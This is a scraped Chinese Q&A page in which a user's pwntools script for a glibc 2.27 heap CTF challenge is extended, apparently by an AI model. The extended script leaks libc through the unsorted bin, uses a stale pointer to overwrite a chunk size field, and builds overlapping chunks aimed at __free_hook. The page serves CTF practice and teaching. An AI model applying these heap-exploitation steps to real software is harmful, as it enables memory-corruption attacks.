这道题用的是libc2.27版本,我写了一点脚本但后面实在不会了from pwn import* f...
創建於:2026年3月22日
使用 GPT-5.4 Thinking 回答 Chat01
創建於:2026年3月22日
使用 GPT-5.4 Thinking 回答 Chat01
这道题用的是libc2.27版本,我写了一点脚本但后面实在不会了from pwn import*
from LibcSearcher import *
#p=remote("node4.buuoj.cn",)
p=process("./pwn")
context.log_level="debug"
libc=ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
def dbg():
gdb.attach(p)
pause()
def add(i):
p.sendlineafter('>>','1')
p.sendlineafter('(3)otter',str(i))
def free(index):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(index))
def show(index):
p.sendlineafter('>>','3')
p.sendlineafter('index:',str(index))
def read(index,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(index))
p.sendlineafter('set tag:',content)
def clear(index):
p.sendlineafter('>>','6')
p.sendlineafter('index:',str(index))
'''
#-------------------
free(1)
show(1)
p.recvuntil('tag:')
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base=main_arena-96-0x10-libc.sym['__malloc_hook']
print(hex(main_arena))
system=base+libc.sym['system']
print(hex(system))
#--------------------
'''
add(3)
add(1)
add(2)
add(3)
free(1)
free(2)
for i in range(26):
add(3)
clear(0)
free(3)
#read(0,p64(main_arena+8))
#read(0,p64(system))
#add(1) #3
dbg()
p.interactive()
你这题后面卡住,核心原因是:你现在这 26 次 add(3) 的堆风水做偏了。
真正有用的点不是把 chunk 一直切小,而是要让 slot2 那个悬空的 hawk 指针,正好落到某个新 otter 的中间,这样 read(2) 的最后 8 字节就能精准改掉“下一个 chunk 的 size”。在 glibc 2.27 里,0x50 这种小块会进 tcache,而 0x440/0x450 这种大块不会进 tcache,会走 unsorted/largebin,所以这里本质上是“拿大块切小,再用悬空指针改 chunk header”。(Ironstone)
我先把程序逻辑给你捋一下,你后面就顺了:
cfox -> malloc(0x430) // chunk size 0x440 hawk -> malloc(0x440) // chunk size 0x450 otter -> calloc(1,0x48) // chunk size 0x50 free(index): free(ptr) // 不清空指针 => UAF clear(index): ptr = NULL // 不 free,只是把槽清掉 show(index): printf("%s", ptr+8) // 只能用一次 read(index): read(0, ptr+8, 0x18) // 最多 3 次
所以这题第一阶段就是:
free(1); show(1) 泄露 unsorted bin 的 bk,拿 libc。free 不清指针 + clear 只清槽,做出 stale pointer 改下一个 chunk size。你现在这段:
pythonadd(3) add(1) add(2) add(3) free(1) free(2) for i in range(26): add(3) clear(0) free(3)
问题在于这里 26 不对。
fox(0x440) + hawk(0x450) = 0x890。
你切 26 个 otter,总共吃掉 26 * 0x50 = 0x820,只剩 0x70。这条路最后只会在尾部留下一个很小的 remainder,并不能把 slot2 变成你想要的 header-overwrite 原语。
真正该做的是:
fox + hawk 合成的 0x890 大 chunk 切掉 14 个 0x50A14)的 size 字段,刚好会被 stale slot2 的 read(2) 末 8 字节打到关系是这样的:
slot1 原来指向 fox 开头slot2 原来指向 hawk 开头,和 fox 开头相差 0x440otter chunk size 是 0x500x440 = 13 * 0x50 + 0x30所以当大块被切成很多 0x50 之后:
slot2 会落在第 14 个小块 A13 的偏移 +0x30read(2) 是从 slot2+8 开始写 0x18A13+0x38 ~ A13+0x4fA14 的 size 字段正好在 A13+0x48所以 payload 最后 8 字节改的,正是 A14->size。
你后面应该这么写:
pythonfrom pwn import * # p = remote(...) p = process('./pwn') context.log_level = 'debug' libc = ELF('/home/hpp/s/buu/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6') def dbg(): gdb.attach(p) pause() def add(i): p.sendlineafter('>>','1') p.sendlineafter('(3)otter',str(i)) def free(idx): p.sendlineafter('>>','2') p.sendlineafter('index:',str(idx)) def show(idx): p.sendlineafter('>>','3') p.sendlineafter('index:',str(idx)) def read_(idx, content): p.sendlineafter('>>','4') p.sendlineafter('index:',str(idx)) p.sendafter('set tag:', content) def clear(idx): p.sendlineafter('>>','6') p.sendlineafter('index:',str(idx)) # 0: otter, 1: fox, 2: hawk, 3: otter add(3) # idx 0 add(1) # idx 1 add(2) # idx 2 add(3) # idx 3 # leak libc free(1) show(1) p.recvuntil('tag:') main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = main_arena - 0x60 - 0x10 - libc.sym['__malloc_hook'] log.success('main_arena = %#x' % main_arena) log.success('libc_base = %#x' % libc_base) # merge fox + hawk => 0x890 free(2) # 把 idx0 清空,用来反复领小块 clear(0) # 先吃掉 14 个 0x50 小块 for _ in range(14): add(3) # 一直落在 idx0 clear(0) # 只清槽,不 free # 现在 next one 就是 A14,保留下来 add(3) # idx0 = A14 add(3) # idx4 = A15(后面做 overlap 用) # stale idx2 指向 A13+0x30 # read(2) 覆盖 A14 的 size -> 0x431 read_(2, b'A'*0x10 + p64(0x431)) # free fake chunk A14(0x430) free(0) # 原来的 idx3 otter 紧跟在 fake chunk 后面 # 此时 free(3) 会向后合并,得到更大的 overlap chunk free(3) # 这里就已经进到 overlap 阶段了 dbg() p.interactive()
这里最关键的不是 payload 本身,而是这三步:
pythonfor _ in range(14): add(3) clear(0) add(3) # A14 add(3) # A15 read_(2, b'A'*0x10 + p64(0x431))
你原来的 26 要改成这条思路。
你可以把这段先想成“中间态”:
idx2:悬空 hawk,负责打 headeridx0:伪造出来的 fake/free chunk,负责被 free / overlapidx4:留一个活的小块,负责做 overlap 观察点再说一下你后面该往哪走:
free(0) + free(3) 之后,你已经不是普通 UAF 了,而是拿到了 fake size 造 overlap 的能力。idx0 的 UAF 去改大 chunk 在 unsorted/largebin 里的字段,最后奔 __free_hook 或别的可写目标。也就是说,你现在真正该验证的是:
read(2, b'A'*0x10 + p64(0x431)) 后 free(0) 不崩。free(3) 也不崩。只要这三步成立,你就已经从“不会做”跨到“链子接上了”。
我目前能确定的是:你脚本卡住的地方,不是 libc 泄露,也不是 free(3) 本身,而是前面的 heap feng shui 次数和保留 chunk 的方式不对。
把 26 这条改成上面这条 14 + 保留 A14/A15 + 改 size,你就能继续往 overlap 打了。